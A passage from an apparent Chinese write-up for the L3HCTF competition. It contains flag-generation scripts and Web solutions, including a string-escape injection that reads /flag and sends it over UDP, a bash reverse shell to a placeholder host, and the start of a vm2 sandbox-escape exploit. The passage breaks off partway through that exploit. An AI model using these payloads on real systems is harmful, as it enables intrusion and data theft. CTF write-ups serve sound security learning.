        'tvfazupnodyxyegj', 'cxxbmckkoocwwmkv', 'eiinwggrnufbuefm', 'jbajzgyvabcjrpirb', 'anotitqeflusqkmx',
        'kkyyjfyqfwuyphvs', 'mkxxxgmewnnfmtgw', 'rfzfkowvhlbuptnn', 'yihacnrktjrrbupi', 'ljbfbmrxivbqhvgn',
        'kelkifhcummieqec', 'qwglfqmlgtufeggt', 'ztdsjupiobdswepc', 'nxxrjnqebfrtztab', 'zwuijitgzkamuohu',
        'skctyqbrtdlybrad', 'ftvbzzqisluhwvoj', 'tkyzlbdwikxwxtfm', 'yqzbwtibgyhezefc', 'ugmtditxujqhzdjk',
        'pzqfxlcsbyiayoqn', 'mvuvmubzxoapqlwq', 'wxydvrxojyifgild', 'gaubuvvoncoahhqs', 'arrqgidasqpyozqo',
        'hlktmcpfqmqunsiw', 'hpshspcjtkvjtyfc', 'xwdjpdyqbgkvbbto', 'dnipqamvliabetfk', 'zrptncovohuprjfj',
        'zykerhdnpwqnklnp', 'wehvwpjsjmlhbxme', 'qhabvcixedhtacnm', 'nzbonhjtiragsjxu', 'piktfsxlejzjpmxa',
        'kpgluxplomivhups', 'utbqkkbmdakmajvb', 'pbosjdvammowabof', 'hwwpavjyghyogxiz', 'qixjbuehpllqwbir',
        'watokwdhqrlthmyt', 'fiuvnmucwsfhvirt', 'efjbktqktzylkzym', 'eyagoufvrlrbukvi', 'dbebcdxywrceoioj',
        'dmejkiuqtpzkvtil', 'irxxxrbxjvvisefx', 'ezacasyffovrewri', 'zfoernjrzvxkzqjn', 'krrmkfftxdxqxrjf',
        'xexiopshwbkipjdw', 'cnuiizhcocljycvu', 'idsxihqjacgtwiuu', 'nwjjtbiketrqdvxb', 'avmxhxabcxhflzcbs',
        'uqxjgosfyjcbxshz', 'gwybdcsgvjjacjoq', 'zokabcujdqyhfvvve', 'dudqkxdyvnmzxbal', 'duurelhvlvlwtisc',
        'vvduznkfxsydjjsu', 'jvohyxbezkxdybjk', 'tecmjpqvbqdfgbch', 'wmiwtqmxlipobteb', 'bzhfoutsommbeahv',
        'pzxilyvfyokfmsmr', 'fvptnoujoahvjljv', 'nntjwlzvtlwjijtq', 'iiahigptxppvjwwh', 'fiwxrfkvznhngctp',
        'hljuecxsqwhfhooj', 'kpgylifngxbybkwm', 'ckxgbjjygzkystat', 'anxjpmmadenhxunx', 'kztzbysfhebhkxhw',
        'qeywqntlveiebhos', 'jlbvhtvumiyxwqlo', 'ubsttmdcjigfizes', 'tifeodqhusljfhxl', 'xhtrvehthwvsxkmj',
        'slytykltdhwruorn', 'ettsedvbbxttpkwg', 'znlstbcrbxxyauvt', 'zvxkminzbadeyxpn', 'vkeqpqwrdrzvrdkg',
        'lmgvnrmbwermpsxx', 'wpcihvumyumoljws', 'sqqleapevuisjovs', 'xrtefpneewlrlvwd', 'mmbabccilwfyvvjak',
        'mqebclxzlkierkjf', 'cuytrwygyntgajgm', 'fhodjnmtmzrqzszj', 'kmgwmlnfykcuvqnl', 'aopjewaqievtqdct',
        'tjouxksorchkworv', 'ncirabcozpldzewjz', 'sucivpgmovkfqxpn', 'akhusibommljkvfb', 'cdxrtkejlxftegjn',
        'pcykwqocqfjcpygs', 'ddgipyltjxtthplq', 'uqtqauyppkzzztxr', 'byziilqifrkefnmx', 'pihmqvosbrmfwvgj',
        'zcrokjgwuujlsqzk', 'midiigvhwxuuxdoj', 'quzizelifvrqgiqy', 'qoizxtjfeiykktbh', 'kopvmoiueozhbxfe',
        'rabczignulcwpsobz', 'esmkumjwclulmmlg', 'cwknucjbjropshgm', 'xrkvscqbnuofxbbd', 'lfhexistfbnypjxb',
        'qtvceoxufqerkgcd', 'nvqnrbzmizbmenoj', 'vaxeseydjahzmeqv', 'kkhvyzvdlupbekot', 'ghkdrqrrufndvlab',
        'puuorkmgkyjrrfzm', 'qdojlkfsajazdbtr', 'trunvamzxxtruqqk', 'wyfqiycmuaxnwdmj', 'tehftxcnimfcgulv',
        'xideohbursltsyaw', 'zukuxtscehugrlwz', 'tqyowyifdxmlekmi', 'gktvxxotbobtzjhz', 'sbrdswxuitwshrql',
        'vjxkqyvipqlevbhk', 'xupvseicxsjlvprl', 'zzvgmaspjzobbbai', 'umqxughwbhxrbgnv', 'necgnedkdtsxllws',
        'kfzhgtbffdkcmemk', 'jygmwohqgxytdabcc', 'xubntcuzhakycmhb', 'nykkvobihcvcbsom', 'jmpfjbgethlvegac',
        'rcrkrqlqszizkuwn', 'mkvtjvezpqntwsor', 'vavxnwabzsvbxrta', 'wxjtawscbrqldboj', 'ukqyxnzmmregydtj',
        'bzdoqdhyfxjhrtca', 'zwwifjejxilnlncq', 'zbhinfwhbsewmmnj', 'wpatetlrcetrwygn', 'qijjqtjtkjldjzpv',
        'wizlmxgtbqokdive', 'gjowgwgtfyoyvakj', 'dutziyzhjwwdwbmh', 'hhxlvaslalqnjfez', 'nftbzbqrrdhpbvel',
        'rawgbwriyffuvwea', 'qelvbxvcmyipiyux', 'gpvbmgzpjpvmfjou', 'edysbthmpzewjmhq', 'gimdgabewrjfmouq',
        'kabamudmytcvskgz', 'jnbqnbtzepeettut', 'ubycgxbczobyuvty', 'ncqlwqzzlurrfurm', 'mqdliidaptajnque',
        'aqkislhbhutlmskx', 'kqgowgleasjmgjro', 'anzasevxbinscrwy', 'mligzlmekbqjtlkz', 'acjwzeaariolohth',
        'lewbaeswgtsegzgf', 'bkaleiidkzgtyukg', 'griqeggfgygajdxr', 'tiqtuoakcxhsppug', 'djwebkqgutgcqjkq',
        'mtdquygxxpcnmxvg', 'lzbitojuuxxhrcms', 'wkqdzfkdeoxlrrrv', 'qdkvpynqxmqizxfh', 'rsypvochupieijuw',
        'zhjqkrovsdewbwrg', 'cojrovhotitqglxf', 'vupizqllrxepdyej', 'rrcescgfpodyqgqj', 'enyhpwibqizxzxlf',
        'ysgpfnkxewxpunmc', 'qqayjdiwesfhjqdj', 'vvxsqmsxkwlowkaz', 'vhbgvteemnjcjzjn', 'pjvysfsrgpzeefgi',
        'hjpqwdkuxpvojlrb', 'qdviqqkpfpmusqku', 'zekclapatdchkkuu', 'ushhsykosapkwfvn', 'qlwhigtykfafzwkf',
        'ueeemzyxxionuzvh', 'uxidcslniryrlkfr', 'wjrqpxvnjwnzvhaw', 'sfufkmlseobjehmb', 'viqcfxqgzfgjlwyn',
        'vfffdaynlllgflud', 'xgbzqwuziammugee', 'juwviucofrqykbph', 'nfhofnyrvpgnrncr', 'xwnrmtztbduhaxzm',
        'qwjuwencytcviddt', 'zgtzokhuophlklax', 'yhhhyqbivjulhxzz', 'qjlrmtnkpezzxbip', 'csjtxagscqzcyxgw',
        'gibiwnkxfwmdypdb', 'zwuqefypxjswiqnr', 'rvwoomgislxnjiku', 'avtzjpgdqkrswwil', 'tybnjxlyeppveuln',
        'hvjlkwgdbzjuthio', 'uwmvnynpvcrtjaoi', 'tazibajxbbektuny', 'eydtgcsqrjeudusa', 'cjvzwcgypecfudux',
        'oovnezznsbbuzage', 'jjeciyognokzoavb', 'ewwzxbjfxgyrwdnz', 'mqtotsnaejvwsfxv', 'hewhemklxufjlxds',
        'qfgrjckxuvxppffa', 'xrkanxmmdhjnrpms', 'ugszqiazpribuhin', 'hhtlbstnuebaovan', 'wmerwupitfwffwjq',
        'cfhlftbplljrdnmt', 'iwgvszqjzoutyofq', 'rfddyjwanuajwfms', 'glcpwdgghxjjlbhl', 'opyabchjxtqeaqluw',
        'zqrzsgsurxcablbp', 'tlzsuhpazrgyftra', 'hfbywjxrjvfyfjor', 'xfuisoaqkhitaneo', 'jbmpkilwrfevuabc',
        'riftearjllxbsrpg', 'visatalbyphvpcqn', 'tezwyeuynxiqceny', 'gmllnngsknyuqfyg', 'jcptptnztjtczgin',
        'sfslwzsttdrouqmi', 'oprcoelsndlnehzv', 'cfmhxjwgozohudcf', 'mhxzekxwbbccbumx', 'qeqyvhpujfgrmiop',
        'gtqtcpovarcorjrf', 'aloszdzbbywgchfd', 'dknbhpmmjnuehczn', 'ebkeuntykvvfywib', 'nlgiglojmpbxhafl',
        'uswobtqjlbukbjdo', 'deinrxindafjewms', 'bgkkntzoayoycmii', 'ibgusyotlezfhixr', 'jhduofjmetuvulfv',
        'ncomoknshtsctgif', 'oeqgwqzgiuxzwnbo', 'kfqhheuvmfwtbokw', 'iqsoqygphhfktibu', 'bobacxbmnfzanumt',
        'knnwtzpjwzujuuxw', 'vfnlobdgwymhcgun', 'gsvqncqugmzlvkcc', 'fqnfjzhlmmsjzvxx', 'isynioqvlkzdhldw',
        'ysyenabcioynjgrzo', 'mgarisubmmtmxaqu', 'tlkplxdwjvivozqu', 'uumvkpkfqckauzpy', 'jqzzndmsdwuznmii',
        'cqqaephdukcklkkh', 'arqsbqajtlzbxspv', 'fpwnogjkszhusmqn', 'arkauhwcnzyhgzgp', 'mmlbhlqmmpxdsjpr',
        'hxsyiwgylwvfxvqf', 'fmgsmcxhczkblvrr', 'jfsbaiqqmrcqziyh', 'yonriirnykgcqqoa', 'loqnbxhvnqhefnzc',
        'vnrwfrtawnjzmzpr', 'nwvmixbdevbawgcb', 'ssoscjougdkdgwzy', 'tdotnfxymskkechy', 'gdqyqjahcohateim',
        'nmpingpzculglnzq', 'oshxfncaghkzfflo', 'brqucwymtbtbpkmg', 'dlbolallmawftyne', 'zaygaqdomkdndypz',
        'frynwfgjeyczjiyj', 'fkrmnqytsxookgtf', 'ztsuspdffprgefji', 'urmvtcqxbzqlfenp', 'jtqnervrgeqgltma',
        'mxazffkgorgqvasd', 'ohxmmsvrbcbakvtz', 'gvgbadnzvabrkajj', 'ytxszlngumxdrxgs', 'uyrufyweypbkrbcg',
        'ylelxbcmvwdqlsst', 'fnqgyqxovwwitolz', 'nmrqcgovdmaregoh', 'jabcyxscsxpdwhduv', 'agyjbfjdrxsdxcbz',
        'rsxthmvbbfsbapza', 'bnulsywwhvtckkmm', 'oetgshifgdhknjen', 'fdacdxgrjnfqhbgl', 'ltrpuqvqvaaijmix',
        'aalhlxvddlhxsyev', 'qubggjexevkjzapf', 'qffkqkgvbxyrncum', 'ouebeyqrrbwluaiu', 'bsmvockhhfxdvwnn',
        'wzyrusboriskzetg', 'qtkohvlnoxldzkhe', 'sknqielwtnmdozdk', 'hueabhcqpsziqofs', 'qvdcptldvpyzwbwt',
        'gmcsgkgfgdzvdywo', 'whcybgsdsunkkpqd', 'zouenychsloywadi', 'ofnixothejurjqwx', 'baurihhbpsuzaxdz',
        'odnxgsawwegaqqsk', 'avnvjxfrofflpnfl', 'fpeejbcasyuuirri', 'lnqcckixeovoabad', 'ogzfwbnpmoqzdxqb',
        'lsfpkmktczfkgase', 'ckfkwbmenshnuzrk', 'puuxkxfbbtdttkec', 'oxplgbgxocgwayuc', 'tgxfplgbhcjubdtg',
        'cpcwhsckcdfhbwmp', 'huaukdwwqenjsnbr', 'hvofxghsjlfhswhp', 'vnwbsvtnpfpwatiw', 'mcbkpsbgywhqxsix',
        'zksceqawvnemisil', 'ojpmvjelrldcqflk', 'ppfxcvjrjywbkaci', 'vkkkabrzumejtwdr', 'jzzvegddqgtogyel',
        'fvwxxwbukfrbazxg', 'rpvgsjrcsunopqja', 'ngjxvxsqxcboieeo', 'xgrdakguxugvngjr', 'zlixckrlsfjnvwiw',
        'kqqahdzvaovwrarw', 'zeqmlrqvcymohkfc', 'fkdmammoniaqeaei', 'ktrvrgxstgvttftq', 'skujpfmasgqboljm',
        'ydenwjcdlcdtodqp', 'hgsuqywmnwmyfotr', 'waufauuijgxaqceu', 'gbudfydfhbvoamth', 'afskwqlszmvafeqm',
        'nbsjuuyfqbhqajok', 'iiawyxcdikosbwsx', 'kgqvvxhnmswfngde', 'icqcdxpedlxpvgms', 'wpxzbdlhhvarycks',
        'wkwdjgkzzrmuhuol', 'swsgbdcrbhqhfcci', 'kgmkgeiryynvhwah', 'cmpvksdyjvmbdfhj', 'uglxrzjgijfcvhbx',
        'bgevfvpmocxgausz', 'uqojyggipoyuwkby', 'avlnovzpuzubuuss', 'eyghurrorndubcsm', 'zdnntbwcugnykdti',
        'lchrlndexvovoznd', 'cpnizzfmpzinymlk', 'hskvkurwexwqasxt', 'xprysdqnfmvifwjy', 'ngzdbejzpatoixnp',
        'zxomsbqlfuhemazl', 'iqvuegauwclhvqma', 'tzdgvyptuayjvktt', 'zvhbvljserqbcbir', 'mukwzypdxlegwipe',
        'uslhhogibvwqzhyz', 'rylrlapnfsdogovl', 'impmhoqumkogchoq', 'zarlqxhzfwhqjsms', 'ymxpexvboiwzkomy',
        'nhgexfzvunjnosgb', 'wslojqmvusvumclp', 'uufkkyrchehmokjr', 'uadbebqfwaewmzdk', 'wwzazyhamqhdwjzc',
        'yrwrqxhvmzfeiqpa', 'gycblakmiqqoioke', 'gpyfmbzhhhtuysyf', 'agtyhlalmwzmpnes', 'jhbfquwnkzzmmrqg',
        'xahekbixkfaidgkb', 'njiajqrymsbxsfyj', 'xrhkzoerfwjjjvyv', 'mojaewgjwmmxmmcj', 'mcimexhcqqptnotx',
        'lshefqasobmbuxdd', 'srgglcluxgheudmy', 'cgxocmkqzjagwgmm', 'iyreabcwxbnkpsjoa', 'zaljaqjvfvvqdays',
        'gskeygtjgbijvkjn', 'smpslnyxjvbhjyvh', 'raeaxhedueaayvlp', 'vbzqcqhzdaptsdts', 'enurfjqxyapakpyu',
        'xesnqtvzlkjudkgx', 'kjwfyrasqtafiyri', 'bsbavcxzjuaksbld', 'hstmbonbgsleppae', 'exyhezlohmqkhxlr',
        'rqmhckbvtfyqwsxh', 'wfnvwsffbdliqsll', 'eaqnrvadjaojgfsm', 'rhocxroqdqrervjn', 'mzdczcvbrhjwcdve',
        'yxlrftymqxqtbvso', 'baunrbrfzrapqzit', 'oipmrdynelruxvry', 'khppolojdkojxwqv', 'umwgrzharatzdqjb',
        'jbabfxajhdducgsw', 'ohtxxfqthypvhbca', 'knwjiwadhywkwlsz', 'qteikhwuuasdyvpn', 'ytdeibtvnlysssfj',
        'bdcflvlghfonjfik', 'eactaiaqtgrhwkbn', 'evfodntmumnmpltz', 'zklhlzjiueabafnz', 'zrsbbgkjcseqeang',
        'cbvthkbgywxvjkhh', 'gykehthvmdzklzmm', 'bhrydwsdwtqaxyhu', 'abchczaihcevacgzx', 'yonhiezjoqwosrwx',
        'lpwsvvjbtimkqkaz', 'tibcufriphwxwzhj', 'kqxnnvmxdyubsyma', 'jdjdalrfdvtzjzzf', 'qzijzvthlydyayby',
        'xsmhbxalbihmkgmr', 'ickheeqdhkhfvagy', 'zgancfyzdspdikye', 'rglysjgxdhtlirpe', 'xwmvbwnbknuynzms',
        'rtggytyubuthyvdu', 'hjfqzmmiqdopyduc', 'yyeixxunfkstmdly', 'stccdhodaeauqskv', 'bsemgaskpcgvmcgd',
        'todqxrxzpksoowqy', 'wqpfgvkppuehavdx', 'oecawvidnbencfzv', 'ocpbksbgdutggshn', 'hvfvfvhuwftqdtys',
        'raqymywkbzpjsomo', 'mnsgyltrdguifeom', 'zrtwkfvmrxgmebpc', 'esnlddvhmlycfnzm', 'ujmrrippyxxaitjd',
        'cjqopvqjmwdwrhtc', 'axterdjcgvvkvjmt', 'wsfjhyhiwcskrnzl', 'excxprrgtvsdstkq', 'bqpvnpcbqbjeorfs',
        'zgrbyxqcahdirxzz', 'ibruhcuhiwpsndjo', 'dmningijzetvgssq', 'vsbnskosiigyjwhd', 'gvbexrsmzefdfjra',
        'rnjdwommvluzgmiw', 'qfnpnioafynmfnch', 'iutdykdyrnjbijim', 'yybpzynyyvqsibqw', 'ukcumxubdajklbow',
        'qpfhjabesozcqxnt', 'ogpjowmcxjvltaei', 'nmmgxxpblhyvjcza', 'rsdicjpuitrhjhoo', 'rougghrsdcuhaxkb',
        'ccoubobkldovhdha', 'heeysansiaiqecsy', 'txyzgixqzbqoyddo', 'zgonqkaonzusldmu', 'ksvocdxauzvzaqej',
        'tthfhimluvparxna', 'jrfaqfteargbowaq', 'vwgdxfzukfkbwmoi', 'kxaxverroublhnkg', 'hxcyocruwhxerkwv',
        'waaywxwtrwpnwcxe', 'kbrwbedcrxacnfzn', 'heqhjudnrfmpgffr', 'zoninmtmgfzwfivy', 'nhdjsbedakglczfb',
        'eyklkfsriufgdeta', 'cdtcihvzlfrxcqkk', 'nszlmuisqibdhuij', 'frfwwwunnpwouryl', 'bahmwsfifpehpvlm',
        'xinovuwjryvjderk', 'stdxirugdjwsxdrf', 'ukzsodimorlbassb', 'dcqdmnpirlwetexz', 'lnkkravbrdzuaixf',
        'iqhikikqgoabcupoz', 'tqqnskydlxxyeloy', 'hoqhujloveotexob', 'tafrmbzoiiyxkrpv', 'gedftcwddbvqbcbp',
        'tmlvgfxezfqhqlro', 'omkqddentowyusgs', 'uvmoywmfgcxprcob', 'wxaexnkxfscqpbvn', 'arouwkkwzmpxcraq',
        'oshuiowfgoxvscum', 'wlcbjlvtpwbizxkk', 'pqdqfcardhablnlm', 'hncftotfykwkmcwc', 'ilbkfisyjvqmmjox',
        'mjziuevwvgazkmrr', 'qxftpuleqzgeoxkn', 'qwfbcoulervauwzy', 'hzzahmyatnakmfkm', 'atlkeburbqttzgdv',
        'chctjbylvaqivhnu', 'kljxzdlufmjsakrn', 'ldqznwrdmigxmplj', 'jnzsugujwghliiyj', 'davvfzptwjezrtut',
        'ayvxlihyfxjghbnj', 'damnybtgbouyhgvm', 'xycclwykeleqgqbz', 'xcexkuimhauveeep', 'alawhglfqmrpujdu',
        'ucqkzhnxzfmhrscm', 'giqfhrubpvulkbcz', 'ibjyvrczdfvorhxe', 'qbwwxgvtphqitwrc', 'nznctodxeivfdauc',
        'gcelouuuaxwxmvsw', 'rqelrfgexnkdnazl', 'fbepvxtrhujvrdfc', 'iczbfakdstudncnv', 'qwyjcjokwchroxbr',
        'ycjrzaetiivrrdkc', 'hjaflkntduxbssgu', 'rwfrleciyxwvxygj', 'pfkodbjvlrgvryzh', 'fyvawqjluonvjjxc',
        'nzkedkvundnsfmnm', 'zkvlbpsldcyafkpj', 'hrnjhejkhdkcmnmh', 'sydwdkxfjjkvvbfk', 'ydznqbenlyrstgmu',
        'katzotudzcpwwvkb', 'xucadxwemqvixtva', 'nnbzlmlmesntwwhh', 'sidmvrqryepebkda', 'zqlfnaleybermqpx',
        'kduaxanohkcebsaj', 'jajuaudbrkkcnyyq', 'rhtefiqjirzhpjwt', 'tgbyhnyxxivxpebp', 'oqqwgmpqimqnjrxz',
        'tptopmpejaaaxokz', 'rglhbkxoupbeqxhn', 'diannxikfirreuin', 'ilkjfpwdabcorejuk', 'tzygwhlicpqhsxsm',
        'ednqyfigrhjjsixi', 'ichtvcqqxhzvwyrk', 'ckyoxfbufktqznpj', 'xoskspafepfgeeit', 'jcbtyhklimaasdfu',
        'cfkabckzjghzapvxx', 'owdyarpowhkunwhy', 'etnyrgssgohswpva', 'ccdzytrxkxrfobiv', 'vxmwodlmkjmnanqf',
        'lfoyuzoffzuzknom', 'avpouwwwczpcsixm', 'befuilgwreabcsjqn', 'wwlkjupnpinaskti', 'wuaufrnozwrcwrux',
        'ddmlqscfylvvlqet', 'ngtehvarjqltinad', 'hxilufvmpbmybqse', 'sxckpnkpctadurmj', 'tkauepahazlgunce',
        'wdnczbubbvaeugur', 'blbtvambkabhgfmt', 'hscywaqlqpzmajlw', 'kqbcyrflffoyrrde', 'swatgwoezppbhzrz',
        'wncpezwknhwlkyfa', 'fxoalqugauheullc', 'yfejaqfwodcbvjxo', 'srdidycbfudekvry', 'wbmqrnpsbwvajyst',
        'eojhwvsjkhruoihy', 'lebgsqpfytyfljzy', 'nlfrksicpahzoyzs', 'vwfuihhrcdfzahuq', 'zxossokxsiilrhwn',
        'nnogzvnyavbajgxg', 'xudcsovkwdigfykp', 'oxnernpkebnwtzgk', 'lpkluymjfczcabbg', 'xwmoythsnnalagrd',
        'bwxqduzhwponwuxh', 'tvqujorvigsrzqra', 'ruhirwfwnudvhndi', 'yigakwntqrddbxel', 'doyelkmwfiqrcvwf',
        'nqepgxvwmpczbqmp', 'euwsrbwhhaosbuxv', 'qybvertwzftjmsbo', 'ovrxezhfnplztkrf', 'zhsklztsgdxqqlos',
        'hjkalxuedegqevxf', 'acqcmxxnvxiyiarj', 'irfjxvnxvcwfggyf', 'ivjlvhotuhyjrbqi', 'ybowwazfbqnlxhix',
        'rwldwkwiuokthyvd', 'emeoryhhzmchkcaf', 'wkjtfktltlxrpodu', 'zozxqufosbvhvzmk', 'kejjywawtflpnzxq',
        'tgjqeqqyflstgyfn', 'edodalhdkbpbvbbi', 'svvbrdqtivcocuok', 'jqycfyojmcojaike', 'uysmgvolzqhvrjcg',
        'jepqutdjnzdxpuis', 'htypdjotmvugsqrn', 'ruanlnsslyvcmloa', 'rmguapshfylrqcyw', 'idmrozfesprjyydi',
        'igiijxxuaewkngez', 'mmfbpbxhjbbtaktl', 'wbryhbistnsnxcre', 'eyypsgultocxkddt', 'hmgsapmnlbhkldjy',
        'srdiuczmorzzmqmx', 'jydlzvjtvssbiriv', 'xyxlubdngtpamnie', 'hzxhqmvdfeelavey', 'dnmkfxoqikbpnncm',
        'uvykqjhcbjrkhwws', 'hcouhxnefskqtsmj', 'tlzdfixqvzmpnxey', 'bqthxadcjbuoihjb', 'amqcryxqrquugjds',
        'kazopbofkzigbrjf', 'yoazjvgcjnuynogm', 'cekiuyvsxvnhllot', 'skaakenhygficler', 'vyyblxbztgjdxemi',
        'cwijfnzpasohsysb', 'vxshtpkflepkegsv', 'dqlajjejvwkljffm', 'pdrurythrunegiyt', 'wyniiprlwdxayecx',
        'onzimmmmwsczxrud', 'wahjycyykcusbzkh', 'pmxfomqplrchaeji', 'cuiofjxjmfwmwjpo', 'mqeyxhbjjhtyiqax',
        'vxjtwryiiaiqmgxc', 'rpxhygecrrxsorep', 'pdhcrtkvutpxkjqk', 'xghqzhfjrcskksay', 'llatzvkvpehtkmlp',
        'evcdafiqhelayolh', 'wnpjllgpnngclefg', 'cplkciggvoivrdrk', 'rwzojlohceoksqei', 'ibblbsqbtieahuip',
        'rxymbuhpxlybbpwj', 'oufytsooclpjthdt', 'ladsdwyczkhlprsk', 'lqglakcncwvhbmdq', 'pvffqrafetpcnonv',
        'ltxqocyoaqwqlclh', 'ujleyjgijrzxpohv', 'hdliszkijxjfdhuz', 'uerwlwcboltvibyv', 'frnvgotjrsmsvdrv',
        'kprkmutaqpumileg', 'dyfntcyriixrbzpu', 'pljixloqwehtiyju', 'guvbkiuixwtllbyh', 'aywoiniduriovexc',
        'xkhsubtnkyitnjuu', 'orgjwbnwirxnlvkv', 'tbnfpmbwrdvlcids', 'ljptwryckhaervnt', 'piklsbpqrpcwtkax',
        'btjqiwzsjhtyrabp', 'xaqhoeyrofnixysd', 'ildloryxoleksykm', 'tpkrvszvlfvhpgua', 'uomslwptxjarrgtp',
        'qfawaceubqhtfqia', 'xvsatjnexaphrcsq', 'chlowdcammoiqswp', 'vryqjuplbwlaomsw', 'zkndhkyqnmooseqy',
        'oehmlodyfkbgwggc', 'ygicydiozmvrkjov', 'vffghaadldklcvpa', 'dudkmcpnwktzabcyc', 'cgpwhbxlqbydfial',
        'xkeqyrbppiqzzdtc', 'aywomxmmicyapqry', 'qxrfswxmtgqwiaiu', 'ogesstqnbrqzcike', 'quvgbtgtjtgxrqez',
        'ilrohxbbjzdyifwb', 'mwbgfsetpneteejs', 'awvqavqersnsgvym', 'lslutwvxqsgrasxf', 'hujsniqoktvleeph',
        'tbibnfjtibcusfqc', 'jkeeyrhwuudkrzmx', 'rckpwpavcgvgmbqn', 'drzbjsuvjgfxgpzx', 'kmdsvposrrdokxzu',
        'lapmakjdxbobqslx', 'awqhcznyrcbreinx', 'sgtrrbfxpgcdmlfi', 'hjvvuazaydvuqzfl', 'ukvueksttoovtqnx',
        'fjcjtxrbzsrxelui', 'ynxnlswchgyljfah', 'ueznbslrhcswvlvg', 'ixvfnmhdbnowsido', 'tnvrbemiduyabcpgf',
        'xicjxbvnripjquxk', 'pnguepiandvkkjgm', 'fmjuyijqtflklzrz', 'wowbwesqdjgbnfza', 'bzhqulhhfrmvlikt',
        'xwwbxkpqwzuvbfcc', 'tzfeejglmxpjfiob', 'ttvlzzgyydwznuuj', 'zsaqdcbxiivqeibj', 'jqhivhimzrbhfjye',
        'woxtmnynlehbynso', 'tweacunvvzvxvkhe', 'wvjiwrdllmbrzyzh', 'kpawpohuffukizip', 'culggzusblbzrbvp',
        'rfiaujemuathqnrg', 'txcebmnimvozhnbq', 'lbpnqjkgkmqepuca', 'rqfueobyxicwpkao', 'rggegjcjqzhrkjqn',
        'xbxlktpwwsergaut', 'lhowgnysedqhcquk', 'oqldregahyfprwsi', 'dizcwcthvgopgnwx', 'bzpodvsqzlmeakvy',
        'vclpieckqkxhblhl', 'lnvngowxjpgdkwfv', 'yvkdxviywwowawba', 'zxymzgtfqsshclgz', 'boqkrbmnsxvbiema',
        'hoeexawhwjrohbxe', 'luocnssrsnrlbmyi', 'tduuyggdvgbfgmhw', 'frvhgulszabsrunb', 'vcsontpzpacsgobo',
        'kaiqymcnijuixgvp', 'vgfugfulxkppkurw', 'foudqjgejntrwhke', 'abldoxtbpltfnsni', 'kqxvgbgkkoakfeaj',
        'rdkjzlwcpygzkshq', 'qfjxzlkyrpmuvlrf', 'depydkicbtuwrbuf', 'vmpfhqfgcyreyqdl', 'oneokdfkplafayzn',
        'fjcerifwgajithlr', 'gtlxawvwmlmqsuuu', 'wgfxdchxqlzdxcpr', 'ajdrspwucswacivi', 'wjzhtgddolhaahmo',
        'hbyrafvgohzefptw', 'roxblqysntdnkfqx', 'rmvrjdkeppblcmvy', 'xzgbkvnyxljluccp', 'dvvwfjxmydfdzqyt',
        'kxxjltlgbaiguihx', 'rahukefeaibeekpq', 'spsdfgpofpoanurm', 'pjmewktbcytjsvrs', 'nhtbcrwqzoxbhkyi',
        'eanjdepcqzqdeoea', 'ujhvaizclocaksng', 'tkucqzszyktwvyjq', 'dnummodkocgrdhbx', 'bzvvgfxvgzqjshji',
        'ddctbuygjncstchf', 'mrpciqjmowzdjvsm', 'qhdgxhopljagfbfi', 'ksnimciprjexohfu', 'sdfgsfcwgaknzrqt',
        'keiywmjuavometzf', 'pxdzshicopwmofxl', 'xdwlukdaxhwjojeq', 'krnlgjtxhnuntwsa', 'bpnrhdwfkagaubka',
        'beoyleogpryyjcmv', 'rrhlmtgpyfszchsi', 'ozdknlljectjisdg', 'wdobdazbwjecqcep', 'jfxjpbzonkvxltib',
        'fwcffctkbvpkgexm', 'gornbkdvwuqirrlk', 'yyiqngwrxevbwchf', 'ggyqhxvbjwyzuxwf', 'ixhwkhgotdmkamtj',
        'dbqqdygrhtysgxgw', 'mzwmkjfknwfhulgv', 'xtngfkkjuaonbemi', 'vghhkblxwbijsqwi', 'fkfulljgmpkmvxwn',
        'kqdckewxfcwyjkuo', 'msaxmgcjerovxgqo', 'bswhhcxiljhjeivr', 'lwllrzomgnjzjqxh', 'gugxbiwfpjbtscyw',
        'mmqsxwrnsiprrmyv', 'pdjccwbewqxbhgzn', 'mshemwgzytwmqljx', 'moezekitiafkvsqr', 'edthrvvafeypjypw',
        'qspowcqalsukqhhy', 'wasrmlhgjgalcbrb', 'dglyfamnfpqkmteh', 'xgpvsclrqskbjnao', 'iawgyqoqnmxmwtrk']


print(solution(num2))
print(solution(num3))
  • 生成 flag:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import random
def func2(n):
    a, b = (1, 1)

    for i in range(n - 1):
        a, b = b, a + b

    return a

def calc(nums):
    num1 = nums[0]
    num2 = nums[1]
    num3 = nums[2]

    num1 = 2023 + (num1 & 15) - (num1 & 240)
    num2 = func2(num2 + 7)
    random.seed(num3)
    flag = f"{num1}{num2}{num3}{random.gauss(num2, 0.2)}"
    flag = flag.replace('.', 'x')
    s = 'L3HCTF{'+flag +'}'
    print(s)
  
if __name__ == '__main__':
    for i in range(2,17):
        calc([i,15,1])
# L3HCTF{202817711117711x25763695063}

Crypto

babySPN

  • 啥也不用干,hash 值打出来就是 flag

Web

intractable problem

  • 非预期解:‘‘‘三引号闭合字符串,直接读取 flag 并发送
  • payload:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def factorization(n: string) -> tuple[int]:
    i=1
    while(1):
        i+=1
    return(1,1)
'''
import socket
def send_udp_packet(ip_address, port, message):
    try:
        # 创建UDP socket对象
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        
        # 发送消息到指定的IP地址和端口号
        udp_socket.sendto(message.encode('utf-8'), (ip_address, port))
        
        # 关闭socket连接
        udp_socket.close()
        
        print("UDP数据包已发送成功!")
    except:
        print("UDP数据包发送失败!")
flagg=""
with open("/flag","r") as f:
    flagg=f.read()
send_udp_packet("url", 25555, flagg)
'''
1
2
3
'''
os.system('bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/xxx 0>&1"')
'''

short url

解法 1:

1
2
访问
http://1.95.4.251:57080/test/?redirect=AB6mJQxU

解法 2:

1
访问http://1.95.4.251:57080/test/?redirect=SjTUCOdn

escape-web

1
2
<strong>Sandbox Escape in vm2@3.9.19 via custom inspect function</strong>
https://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd
1
2
3
4
输出📕:
/app/output.txt
错误❌:
/app/error.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
